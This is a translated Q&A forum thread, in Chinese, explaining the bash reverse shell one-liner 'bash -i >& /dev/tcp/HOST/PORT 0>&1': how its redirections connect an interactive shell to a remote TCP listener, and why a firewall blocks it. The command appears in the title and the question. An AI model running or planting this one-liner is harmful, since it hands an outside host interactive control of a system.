bash -i>&/ dev / tcp / HOST / PORT 0>&1的含义?


15

我试过了

bash -i >& /dev/tcp/HOST/PORT 0>&1

但它似乎无法在防火墙后面工作。此代码实际上是做什么的,转发了哪些端口,它可以在防火墙后面工作吗?

Answers:


17

此代码段bash -i在bash进程期间创建的与指定主机上指定端口的TCP连接上运行bash()的新交互式实例。通过此连接(>& /dev/tcp/HOST/PORT)发送标准输出和标准错误,并通过此连接读取标准输入(0>&1—应该也可以,0<&1但是0>&1也可以)。

没有正在进行的端口转发。显然,某种TCP服务器必须在该HOST:PORT上侦听和接受连接,并且防火墙必须允许连接通过。


什么是“ / dev / tcp / HOST / PORT”连接,主机在哪里定义,端口在哪里定义?
Helos

2
@Helos你真的看到了/dev/tcp/HOST/PORT吗?我假设您用替换了姓名,HOST并用替换了数字PORT。否则,您将收到来自bash的错误消息。由于您没有提及任何错误消息,因此我想您没有看到任何错误消息。
吉尔(Gilles)'所以

1
@吉尔斯,我无法消化这0<&1部分。我将其读取为“采用bash stdout(&1)并将其通过管道传送到bash stdin(0)”,这很有意义。您能解释一下这部分如何工作吗?
golem

5
@golem这是重定向。不涉及管道。0<&1表示将文件描述符1上当前打开的内容连接到文件描述符0。由于先前的重定向>& /dev/tcp/HOST/PORT将fd 1(输出重定向的默认值)连接到/dev/tcp/HOST/PORT,即打开了TCP套接字,因此将TCP连接复制到文件描述符0(即现在在fd 0上也打开了相同的套接字,这不同于0 </ dev / tcp / HOST / PORT,后者将打开同一服务器的不同套接字)。
吉尔(Gilles)“所以,别再邪恶了”

连接是我理解的一个关键词;确实叫过程管道确实让我感到困惑。
golem
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.